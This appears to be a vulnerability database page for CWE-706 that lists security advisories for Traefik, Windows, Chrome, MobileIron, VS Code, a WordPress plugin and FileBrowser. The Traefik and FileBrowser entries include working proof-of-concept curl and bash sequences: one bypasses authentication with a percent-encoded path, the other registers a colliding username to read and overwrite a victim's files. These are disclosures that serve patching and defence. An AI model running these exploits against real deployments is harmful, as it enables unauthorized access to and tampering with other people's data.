CWE-706
Allowed-with-ReviewUse of Incorrectly-Resolved Name or Reference
Abstraction: Class · Status: Incomplete
The product uses a name or reference to access a resource, but the name/reference resolves to a resource that is outside of the intended control sphere.
176 vulnerabilities reference this CWE, most recent first.
GHSA-6JWX-7VP4-9847
Vulnerability from github – Published: 2026-04-24 16:37 – Updated: 2026-07-21 13:44Summary
There is a high severity authentication bypass vulnerability in Traefik's StripPrefixRegex middleware when used in combination with ForwardAuth, BasicAuth, or DigestAuth.
The middleware matches the regex against the decoded URL path but uses the resulting byte length to slice the percent-encoded raw path. When a dot (or multiple dots) appears in the prefix portion of the URL, the raw path after stripping becomes a dot-segment (e.g. /./admin/secret).
ForwardAuth receives this dot-segment path in X-Forwarded-Uri, which does not match the protected path patterns and therefore allows the request through. The backend then normalizes the dot-segment to the real path per RFC 3986 and serves the protected content
An unauthenticated attacker can exploit this against any backend that performs dot-segment normalization.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.43
- https://github.com/traefik/traefik/releases/tag/v3.6.14
- https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2
For more information
If there are any questions or comments about this advisory, please open an issue.
Original Description ### Summary StripPrefixRegex uses the byte length of a decoded Path match to slice the encoded RawPath. When percent-encoded characters are in the prefix region, this produces a wrong RawPath. ForwardAuth then receives this wrong path in X-Forwarded-Uri, sees a path that doesn't match its protection rules, and approves the request. The backend serves protected content. ### Details `pkg/middlewares/stripprefixregex/strip_prefix_regex.go`, line 62: ```go req.URL.RawPath = ensureLeadingSlash(req.URL.RawPath[len(prefix):])
prefix comes from matching the regex against the decoded req.URL.Path (line 51). len(prefix) is then used to index into the encoded req.URL.RawPath. These lengths don't match when percent-encoding is
present.
Example with regex ^/api:
- GET /api%20/admin/secret
- Decoded Path: /api /admin/secret -> prefix = /api (4 bytes)
- Encoded RawPath: /api%20/admin/secret -> same region is 6 bytes
- RawPath[4:] = %20/admin/secret -> after ensureLeadingSlash -> /%20/admin/secret
- ForwardAuth sees X-Forwarded-Uri: /%20/admin/secret -> not /admin/* -> allows it
- Backend serves the protected admin content
PoC
Requires Docker and Docker Compose. I have a setup that runs Traefik v3.6.11 with StripPrefixRegex + ForwardAuth + a backend. It sends a normal request (blocked, 403) and an encoded request (bypasses
auth, 200, returns protected data). Can share the files here if useful.
Impact
Auth bypass. Any path protected by ForwardAuth, BasicAuth, or DigestAuth can be accessed without credentials when StripPrefixRegex is in the same middleware chain. The attacker only needs to add a
percent-encoded character to the prefix portion of the URL.
---
### Updated PoC (reporter follow-up)
After further testing, the confirmed working exploit uses `%2e` (percent-encoded dot) rather than `%20`. Dot-segment normalization (`/./` -> `/`) is RFC 3986 standard behavior handled automatically by Express.js, Go's `http.ServeMux`, Spring Boot, and others — no custom configuration needed.
Chain:
Results (Traefik v3.6, unmodified Express.js express.static):
Auth server logs:
Reproduction:
```bash
docker compose up -d --build --wait
curl http://localhost:8080/api/admin/secret # -> 403
curl --path-as-is "http://localhost:8080/api%2e/admin/secret" # -> 200
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.7.0-ea.1"
},
{
"fixed": "3.7.0-rc.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0-beta1"
},
{
"fixed": "3.6.14"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.11.43"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.7.34"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40912"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-706"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-24T16:37:53Z",
"nvd_published_at": "2026-04-30T21:16:32Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThere is a high severity authentication bypass vulnerability in Traefik\u0027s `StripPrefixRegex` middleware when used in combination with `ForwardAuth`, `BasicAuth`, or `DigestAuth`.\n\nThe middleware matches the regex against the decoded URL path but uses the resulting byte length to slice the percent-encoded raw path. When a dot (or multiple dots) appears in the prefix portion of the URL, the raw path after stripping becomes a dot-segment (e.g. `/./admin/secret`).\n\n`ForwardAuth` receives this dot-segment path in `X-Forwarded-Uri`, which does not match the protected path patterns and therefore allows the request through. The backend then normalizes the dot-segment to the real path per RFC 3986 and serves the protected content\n\n An unauthenticated attacker can exploit this against any backend that performs dot-segment normalization.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.43\n- https://github.com/traefik/traefik/releases/tag/v3.6.14\n- https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2\n\n## For more information\n\nIf there are any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n### Summary\n\n StripPrefixRegex uses the byte length of a decoded Path match to slice the encoded RawPath. When percent-encoded characters are in the prefix region, this produces a wrong RawPath. ForwardAuth then\n receives this wrong path in X-Forwarded-Uri, sees a path that doesn\u0027t match its protection rules, and approves the request. The backend serves protected content.\n\n ### Details\n\n `pkg/middlewares/stripprefixregex/strip_prefix_regex.go`, line 62:\n\n ```go\n req.URL.RawPath = ensureLeadingSlash(req.URL.RawPath[len(prefix):])\n```\n\n prefix comes from matching the regex against the decoded req.URL.Path (line 51). len(prefix) is then used to index into the encoded req.URL.RawPath. These lengths don\u0027t match when percent-encoding is\n present.\n\n Example with regex ^/api:\n\n - GET /api%20/admin/secret\n - Decoded Path: /api /admin/secret -\u003e prefix = /api (4 bytes)\n - Encoded RawPath: /api%20/admin/secret -\u003e same region is 6 bytes\n - RawPath[4:] = %20/admin/secret -\u003e after ensureLeadingSlash -\u003e /%20/admin/secret\n - ForwardAuth sees X-Forwarded-Uri: /%20/admin/secret -\u003e not /admin/* -\u003e allows it\n - Backend serves the protected admin content\n\n PoC\n\n Requires Docker and Docker Compose. I have a setup that runs Traefik v3.6.11 with StripPrefixRegex + ForwardAuth + a backend. It sends a normal request (blocked, 403) and an encoded request (bypasses\n auth, 200, returns protected data). Can share the files here if useful.\n\n Impact\n\n Auth bypass. Any path protected by ForwardAuth, BasicAuth, or DigestAuth can be accessed without credentials when StripPrefixRegex is in the same middleware chain. The attacker only needs to add a\n percent-encoded character to the prefix portion of the URL.\n\n---\n\n### Updated PoC (reporter follow-up)\n\nAfter further testing, the confirmed working exploit uses `%2e` (percent-encoded dot) rather than `%20`. Dot-segment normalization (`/./` -\u003e `/`) is RFC 3986 standard behavior handled automatically by Express.js, Go\u0027s `http.ServeMux`, Spring Boot, and others \u2014 no custom configuration needed.\n\nChain:\n\n```\nGET /api%2e/admin/secret\n-\u003e StripPrefixRegex strips /api -\u003e RawPath becomes /./admin/secret\n-\u003e ForwardAuth sees /./admin/secret -\u003e does not match /admin/ -\u003e allows\n-\u003e Express normalizes /./admin/secret -\u003e /admin/secret -\u003e serves protected content\n```\n\nResults (Traefik v3.6, unmodified Express.js express.static):\n\n```\nGET /api/admin/secret -\u003e 403 (blocked)\nGET /api%2e/admin/secret -\u003e 200 (bypass \u2014 served protected content)\nGET /api%20/admin/secret -\u003e 404 (space not normalized by backend)\n```\n\nAuth server logs:\n\n```\nX-Forwarded-Uri: \u0027/admin/secret\u0027 -\u003e DENIED\nX-Forwarded-Uri: \u0027/./admin/secret\u0027 -\u003e ALLOWED\n```\n\nReproduction:\n\n```bash\ndocker compose up -d --build --wait\ncurl http://localhost:8080/api/admin/secret # -\u003e 403\ncurl --path-as-is \"http://localhost:8080/api%2e/admin/secret\" # -\u003e 200\n```\n\n\u003c/details\u003e\n\n---",
"id": "GHSA-6jwx-7vp4-9847",
"modified": "2026-07-21T13:44:35Z",
"published": "2026-04-24T16:37:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/security/advisories/GHSA-6jwx-7vp4-9847"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40912"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:21772"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-40912"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2464229"
},
{
"type": "PACKAGE",
"url": "https://github.com/traefik/traefik"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v2.11.43"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v3.6.14"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-40912.json"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Traefik has an StripPrefixRegex Middleware Authorization Bypass via Path/RawPath Desync"
}
GHSA-6RCF-3V9W-FRXH
Vulnerability from github – Published: 2022-05-13 01:21 – Updated: 2022-05-13 01:21An elevation of privilege vulnerability exists when the Windows Data Sharing Service improperly handles file operations, aka "Windows Data Sharing Service Elevation of Privilege Vulnerability." This affects Windows Server 2016, Windows 10, Windows Server 2019, Windows 10 Servers. This CVE ID is unique from CVE-2019-0572, CVE-2019-0573, CVE-2019-0574.
{
"affected": [],
"aliases": [
"CVE-2019-0571"
],
"database_specific": {
"cwe_ids": [
"CWE-706"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-01-08T21:29:00Z",
"severity": "HIGH"
},
"details": "An elevation of privilege vulnerability exists when the Windows Data Sharing Service improperly handles file operations, aka \"Windows Data Sharing Service Elevation of Privilege Vulnerability.\" This affects Windows Server 2016, Windows 10, Windows Server 2019, Windows 10 Servers. This CVE ID is unique from CVE-2019-0572, CVE-2019-0573, CVE-2019-0574.",
"id": "GHSA-6rcf-3v9w-frxh",
"modified": "2022-05-13T01:21:17Z",
"published": "2022-05-13T01:21:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-0571"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0571"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/46159"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/106426"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-72H8-8X4P-5944
Vulnerability from github – Published: 2026-09-09 03:30 – Updated: 2026-09-09 21:31Incorrect reference resolution in Accessibility in Google Chrome on on Mac prior to 153.0.8010.36 allowed a remote attacker to potentially spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)
{
"affected": [],
"aliases": [
"CVE-2026-87562"
],
"database_specific": {
"cwe_ids": [
"CWE-706"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-09T01:17:13Z",
"severity": "MODERATE"
},
"details": "Incorrect reference resolution in Accessibility in Google Chrome on on Mac prior to 153.0.8010.36 allowed a remote attacker to potentially spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)",
"id": "GHSA-72h8-8x4p-5944",
"modified": "2026-09-09T21:31:36Z",
"published": "2026-09-09T03:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-87562"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/09/stable-channel-update-for-desktop_0808145027.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/513135531"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-779W-WQPF-GQ64
Vulnerability from github – Published: 2022-05-24 17:22 – Updated: 2025-10-22 00:31MobileIron Core and Connector before 10.3.0.4, 10.4.x before 10.4.0.4, 10.5.x before 10.5.1.1, 10.5.2.x before 10.5.2.1, and 10.6.x before 10.6.0.1, and Sentry before 9.7.3 and 9.8.x before 9.8.1, allow remote attackers to execute arbitrary code via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2020-15505"
],
"database_specific": {
"cwe_ids": [
"CWE-706"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-07-07T02:15:00Z",
"severity": "HIGH"
},
"details": "MobileIron Core and Connector before 10.3.0.4, 10.4.x before 10.4.0.4, 10.5.x before 10.5.1.1, 10.5.2.x before 10.5.2.1, and 10.6.x before 10.6.0.1, and Sentry before 9.7.3 and 9.8.x before 9.8.1, allow remote attackers to execute arbitrary code via unspecified vectors.",
"id": "GHSA-779w-wqpf-gq64",
"modified": "2025-10-22T00:31:55Z",
"published": "2022-05-24T17:22:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-15505"
},
{
"type": "WEB",
"url": "https://cwe.mitre.org/data/definitions/41.html"
},
{
"type": "WEB",
"url": "https://perchsecurity.com/perch-news/cve-spotlight-mobileiron-rce-cve-2020-15505"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-15505"
},
{
"type": "WEB",
"url": "https://www.mobileiron.com/en/blog/mobileiron-security-updates-available"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/161097/MobileIron-MDM-Hessian-Based-Java-Deserialization-Remote-Code-Execution.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-78W2-6RG9-JR42
Vulnerability from github – Published: 2026-09-08 18:33 – Updated: 2026-09-08 18:33Use of incorrectly-resolved name or reference in Visual Studio Code allows an unauthorized attacker to disclose information over a network.
{
"affected": [],
"aliases": [
"CVE-2026-81383"
],
"database_specific": {
"cwe_ids": [
"CWE-706"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-08T18:20:54Z",
"severity": "HIGH"
},
"details": "Use of incorrectly-resolved name or reference in Visual Studio Code allows an unauthorized attacker to disclose information over a network.",
"id": "GHSA-78w2-6rg9-jr42",
"modified": "2026-09-08T18:33:30Z",
"published": "2026-09-08T18:33:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-81383"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-81383"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7JQ5-GWQV-XC5F
Vulnerability from github – Published: 2022-05-19 00:00 – Updated: 2022-05-27 00:01Authenticated (administrator or higher role) Local File Inclusion (LFI) vulnerability in Wow-Company's Popup Box plugin <= 2.1.2 at WordPress.
{
"affected": [],
"aliases": [
"CVE-2022-29445"
],
"database_specific": {
"cwe_ids": [
"CWE-706"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-05-18T17:15:00Z",
"severity": "HIGH"
},
"details": "Authenticated (administrator or higher role) Local File Inclusion (LFI) vulnerability in Wow-Company\u0027s Popup Box plugin \u003c= 2.1.2 at WordPress.",
"id": "GHSA-7jq5-gwqv-xc5f",
"modified": "2022-05-27T00:01:19Z",
"published": "2022-05-19T00:00:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29445"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/popup-box/wordpress-popup-box-plugin-2-1-2-authenticated-local-file-inclusion-lfi-vulnerability"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/popup-box/#developers"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7RC3-G7H6-22M7
Vulnerability from github – Published: 2026-07-20 22:19 – Updated: 2026-07-20 22:19Summary
FileBrowser confines each user to a scope: a home directory that acts as the boundary for everything they can read or write. When self-registration and automatic home-directory creation are both enabled (Signup=true and CreateUserDir=true), a new user's scope is built from their username after it passes through cleanUsername(). That function rewrites the name: it strips .. and replaces every character outside 0-9A-Za-z@_\-. with -.
The problem is that this rewrite is many-to-one: different usernames can produce the same result, and FileBrowser never checks whether the resulting scope is already taken. So team/one, team one, and team-one all collapse to the same directory name, and whoever registers second is handed the same home directory as the first user instead of an isolated one.
This breaks per-user isolation. An attacker can pick a username that normalizes onto a victim's directory (for example registering alice/ or al..ice to land in alice's home) and gain full read and write access to that victim's files. Because username uniqueness is enforced on the raw name, both accounts coexist normally and neither user is warned that they share storage.
Details
1. The home directory is built straight from the cleaned username (settings/dir.go:30)
// MakeUserDir, when CreateUserDir is true:
username = cleanUsername(username)
// ...
userScope = path.Join(s.UserHomeBasePath, username) // line 30
userScope = path.Join("/", userScope) // line 33
The user's scope is path.Join(UserHomeBasePath, cleanUsername(username)).
2. cleanUsername collapses distinct inputs to the same output (settings/dir.go:42-52)
func cleanUsername(s string) string {
s = strings.Trim(s, " ")
s = strings.ReplaceAll(s, "..", "") // line 45, deletes ".."
s = invalidFilenameChars.ReplaceAllString(s, "-") // line 48, any non [0-9A-Za-z@_.-] -> "-"
s = dashes.ReplaceAllString(s, "-") // line 51, collapse repeated "-"
return s
}
Because several characters all map to - (and .. is simply deleted), many different usernames produce the same output: team/one, team one, team:one, and team-one all become team-one, and a..b becomes ab. Usernames that are unique on their own end up pointing at one shared directory name.
3. No scope-uniqueness check exists
Username uniqueness is enforced on the raw username (Storm id), but nothing enforces uniqueness of the derived Scope. signupHandler writes the colliding scope back to the user (http/auth.go:198-203) and saves the account; the second registrant simply reuses the first registrant's home directory (MakeUserDir calls MkdirAll, which is idempotent).
PoC
Tested against filebrowser/filebrowser:v2.63.15 with Signup=true and CreateUserDir=true (default minimumPasswordLength is 12).
Attack Vector: register a colliding username and read/overwrite another user's files:
#1. Create a dir in /tmp and start a fresh v2.63.15 container
mkdir -p /tmp/filebrowser-test/srv
docker run -d --name filebrowser-test -p 8090:80 -v /tmp/filebrowser-test/srv:/srv filebrowser/filebrowser:v2.63.15 && sleep 4
B=http://localhost:8090; PW='CollidePw12345!'
#2. Admin logs in and enables the two required non-default settings: signup=true and createUserDir=true
AP=$(docker logs filebrowser-test 2>&1 | grep -o 'password: .*' | awk '{print $2}')
AT=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d "{\"username\":\"admin\",\"password\":\"$AP\"}")
curl -s -H "X-Auth: $AT" $B/api/settings \
| python3 -c "import sys,json;d=json.load(sys.stdin);d['signup']=True;d['createUserDir']=True;print(json.dumps(d))" \
| curl -s -X PUT $B/api/settings -H "X-Auth: $AT" -H 'Content-Type: application/json' -d @-
#3. Register the victim teamone-x
curl -s -X POST $B/api/signup -H 'Content-Type: application/json' -d "{\"username\":\"teamone-x\",\"password\":\"$PW\"}"
#4. Register the attacker teamone/x (distinct raw username that cleanUsername() normalizes to the same scope teamone-x)
curl -s -X POST $B/api/signup -H 'Content-Type: application/json' -d "{\"username\":\"teamone/x\",\"password\":\"$PW\"}"
#5. Log in as both accounts (TA = victim, TB = attacker)
TA=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d "{\"username\":\"teamone-x\",\"password\":\"$PW\"}")
TB=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d "{\"username\":\"teamone/x\",\"password\":\"$PW\"}")
#6. Victim A writes a private file
curl -s -X POST "$B/api/resources/secretA.txt?override=true" -H "X-Auth: $TA" --data-binary 'A-private-CONFIDENTIAL-data' -o /dev/null
#7. Attacker B reads A's file (both resolve to the single shared home directory)
curl -s "$B/api/raw/secretA.txt" -H "X-Auth: $TB"
#8. Attacker B overwrites the file
curl -s -X POST "$B/api/resources/secretA.txt?override=true" -H "X-Auth: $TB" --data-binary 'TAMPERED-BY-B' -o /dev/null
#9. Victim A reads back the tampered content
curl -s "$B/api/raw/secretA.txt" -H "X-Auth: $TA"
Expected output (reproduced on a fresh filebrowser-test container, v2.63.15):
GET /api/raw/secretA.txt (as user B, attacker) -> 200
A-private-CONFIDENTIAL-data
POST /api/resources/secretA.txt?override=true (as user B) -> 200 (empty body)
GET /api/raw/secretA.txt (as user A, victim, reads back) -> 200
TAMPERED-BY-B
GET /api/users (as admin, both accounts share one scope) -> 200
[ ... {"username":"teamone-x","scope":"/users/teamone-x"}, {"username":"teamone/x","scope":"/users/teamone-x"} ... ]
On disk there is a single shared home directory /srv/users/teamone-x.
Impact
- Cross-user read: an attacker registering a colliding username can read every file in a victim's home directory.
- Cross-user write and tamper: the attacker can overwrite, rename, or delete the victim's files; the victim transparently sees the tampered content.
- Per-user isolation bypass: the home-directory scoping that is supposed to confine each self-registered user is defeated whenever two usernames normalize to the same value.
- Targeted or opportunistic: an attacker can deliberately craft a username that collides with a known victim (e.g. registering
alice/,alice., oral..iceto land onalice's directory), or collisions can occur accidentally between legitimate users. - Precondition: requires the administrator to have enabled both
SignupandCreateUserDir.
Recommended Fix
Make the derived scope canonical and enforce its uniqueness. Either reject a signup whose normalized scope already exists, or bind the home directory to the immutable user ID rather than to a normalized username:
// settings/dir.go, base the home dir on a collision-free identifier:
userScope = path.Join(s.UserHomeBasePath, strconv.FormatUint(uint64(user.ID), 10))
Alternatively, in signupHandler, after computing the scope, reject the registration if any existing user already owns that scope (store.Users.GetByScope(scope) ⇒ 409 Conflict). Also reject usernames whose normalized form differs from the raw username, so that cleanUsername is never silently lossy.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.63.16"
},
"package": {
"ecosystem": "Go",
"name": "github.com/filebrowser/filebrowser/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.63.17"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-62685"
],
"database_specific": {
"cwe_ids": [
"CWE-647",
"CWE-706"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-20T22:19:10Z",
"nvd_published_at": "2026-07-15T16:16:51Z",
"severity": "HIGH"
},
"details": "## Summary\n\nFileBrowser confines each user to a *scope*: a home directory that acts as the boundary for everything they can read or write. When self-registration and automatic home-directory creation are both enabled (`Signup=true` and `CreateUserDir=true`), a new user\u0027s scope is built from their username after it passes through `cleanUsername()`. That function rewrites the name: it strips `..` and replaces every character outside `0-9A-Za-z@_\\-.` with `-`.\n\nThe problem is that this rewrite is **many-to-one**: different usernames can produce the same result, and FileBrowser never checks whether the resulting scope is already taken. So `team/one`, `team one`, and `team-one` all collapse to the same directory name, and whoever registers second is handed the **same home directory** as the first user instead of an isolated one.\n\nThis breaks per-user isolation. An attacker can pick a username that normalizes onto a victim\u0027s directory (for example registering `alice/` or `al..ice` to land in `alice`\u0027s home) and gain full read **and** write access to that victim\u0027s files. Because username uniqueness is enforced on the raw name, both accounts coexist normally and neither user is warned that they share storage.\n\n## Details\n\n**1. The home directory is built straight from the cleaned username (`settings/dir.go:30`)**\n\n```go\n// MakeUserDir, when CreateUserDir is true:\nusername = cleanUsername(username)\n// ...\nuserScope = path.Join(s.UserHomeBasePath, username) // line 30\nuserScope = path.Join(\"/\", userScope) // line 33\n```\n\nThe user\u0027s scope is `path.Join(UserHomeBasePath, cleanUsername(username))`.\n\n**2. `cleanUsername` collapses distinct inputs to the same output (`settings/dir.go:42-52`)**\n\n```go\nfunc cleanUsername(s string) string {\n s = strings.Trim(s, \" \")\n s = strings.ReplaceAll(s, \"..\", \"\") // line 45, deletes \"..\"\n s = invalidFilenameChars.ReplaceAllString(s, \"-\") // line 48, any non [0-9A-Za-z@_.-] -\u003e \"-\"\n s = dashes.ReplaceAllString(s, \"-\") // line 51, collapse repeated \"-\"\n return s\n}\n```\n\nBecause several characters all map to `-` (and `..` is simply deleted), many different usernames produce the same output: `team/one`, `team one`, `team:one`, and `team-one` all become `team-one`, and `a..b` becomes `ab`. Usernames that are unique on their own end up pointing at one shared directory name.\n\n**3. No scope-uniqueness check exists**\n\nUsername uniqueness is enforced on the raw `username` (Storm `id`), but nothing enforces uniqueness of the derived `Scope`. `signupHandler` writes the colliding scope back to the user (`http/auth.go:198-203`) and saves the account; the second registrant simply reuses the first registrant\u0027s home directory (`MakeUserDir` calls `MkdirAll`, which is idempotent).\n\n## PoC\n\nTested against `filebrowser/filebrowser:v2.63.15` with `Signup=true` and `CreateUserDir=true` (default `minimumPasswordLength` is 12).\n\n**Attack Vector: register a colliding username and read/overwrite another user\u0027s files:**\n\n```bash\n#1. Create a dir in /tmp and start a fresh v2.63.15 container\nmkdir -p /tmp/filebrowser-test/srv\ndocker run -d --name filebrowser-test -p 8090:80 -v /tmp/filebrowser-test/srv:/srv filebrowser/filebrowser:v2.63.15 \u0026\u0026 sleep 4\nB=http://localhost:8090; PW=\u0027CollidePw12345!\u0027\n\n#2. Admin logs in and enables the two required non-default settings: signup=true and createUserDir=true\nAP=$(docker logs filebrowser-test 2\u003e\u00261 | grep -o \u0027password: .*\u0027 | awk \u0027{print $2}\u0027)\nAT=$(curl -s -X POST $B/api/login -H \u0027Content-Type: application/json\u0027 -d \"{\\\"username\\\":\\\"admin\\\",\\\"password\\\":\\\"$AP\\\"}\")\ncurl -s -H \"X-Auth: $AT\" $B/api/settings \\\n | python3 -c \"import sys,json;d=json.load(sys.stdin);d[\u0027signup\u0027]=True;d[\u0027createUserDir\u0027]=True;print(json.dumps(d))\" \\\n | curl -s -X PUT $B/api/settings -H \"X-Auth: $AT\" -H \u0027Content-Type: application/json\u0027 -d @-\n\n#3. Register the victim teamone-x\ncurl -s -X POST $B/api/signup -H \u0027Content-Type: application/json\u0027 -d \"{\\\"username\\\":\\\"teamone-x\\\",\\\"password\\\":\\\"$PW\\\"}\"\n\n#4. Register the attacker teamone/x (distinct raw username that cleanUsername() normalizes to the same scope teamone-x)\ncurl -s -X POST $B/api/signup -H \u0027Content-Type: application/json\u0027 -d \"{\\\"username\\\":\\\"teamone/x\\\",\\\"password\\\":\\\"$PW\\\"}\"\n\n#5. Log in as both accounts (TA = victim, TB = attacker)\nTA=$(curl -s -X POST $B/api/login -H \u0027Content-Type: application/json\u0027 -d \"{\\\"username\\\":\\\"teamone-x\\\",\\\"password\\\":\\\"$PW\\\"}\")\nTB=$(curl -s -X POST $B/api/login -H \u0027Content-Type: application/json\u0027 -d \"{\\\"username\\\":\\\"teamone/x\\\",\\\"password\\\":\\\"$PW\\\"}\")\n\n#6. Victim A writes a private file\ncurl -s -X POST \"$B/api/resources/secretA.txt?override=true\" -H \"X-Auth: $TA\" --data-binary \u0027A-private-CONFIDENTIAL-data\u0027 -o /dev/null\n\n#7. Attacker B reads A\u0027s file (both resolve to the single shared home directory)\ncurl -s \"$B/api/raw/secretA.txt\" -H \"X-Auth: $TB\"\n\n#8. Attacker B overwrites the file\ncurl -s -X POST \"$B/api/resources/secretA.txt?override=true\" -H \"X-Auth: $TB\" --data-binary \u0027TAMPERED-BY-B\u0027 -o /dev/null\n\n#9. Victim A reads back the tampered content\ncurl -s \"$B/api/raw/secretA.txt\" -H \"X-Auth: $TA\"\n```\n\nExpected output (reproduced on a fresh `filebrowser-test` container, v2.63.15):\n\n```http\nGET /api/raw/secretA.txt (as user B, attacker) -\u003e 200\nA-private-CONFIDENTIAL-data\n\nPOST /api/resources/secretA.txt?override=true (as user B) -\u003e 200 (empty body)\n\nGET /api/raw/secretA.txt (as user A, victim, reads back) -\u003e 200\nTAMPERED-BY-B\n\nGET /api/users (as admin, both accounts share one scope) -\u003e 200\n[ ... {\"username\":\"teamone-x\",\"scope\":\"/users/teamone-x\"}, {\"username\":\"teamone/x\",\"scope\":\"/users/teamone-x\"} ... ]\n```\n\nOn disk there is a single shared home directory `/srv/users/teamone-x`.\n\n## Impact\n\n- **Cross-user read:** an attacker registering a colliding username can read every file in a victim\u0027s home directory.\n- **Cross-user write and tamper:** the attacker can overwrite, rename, or delete the victim\u0027s files; the victim transparently sees the tampered content.\n- **Per-user isolation bypass:** the home-directory scoping that is supposed to confine each self-registered user is defeated whenever two usernames normalize to the same value.\n- **Targeted or opportunistic:** an attacker can deliberately craft a username that collides with a known victim (e.g. registering `alice/`, `alice.`, or `al..ice` to land on `alice`\u0027s directory), or collisions can occur accidentally between legitimate users.\n- **Precondition:** requires the administrator to have enabled both `Signup` and `CreateUserDir`.\n\n## Recommended Fix\n\nMake the derived scope canonical and enforce its uniqueness. Either reject a signup whose normalized scope already exists, or bind the home directory to the immutable user ID rather than to a normalized username:\n\n```go\n// settings/dir.go, base the home dir on a collision-free identifier:\nuserScope = path.Join(s.UserHomeBasePath, strconv.FormatUint(uint64(user.ID), 10))\n```\n\nAlternatively, in `signupHandler`, after computing the scope, reject the registration if any existing user already owns that scope 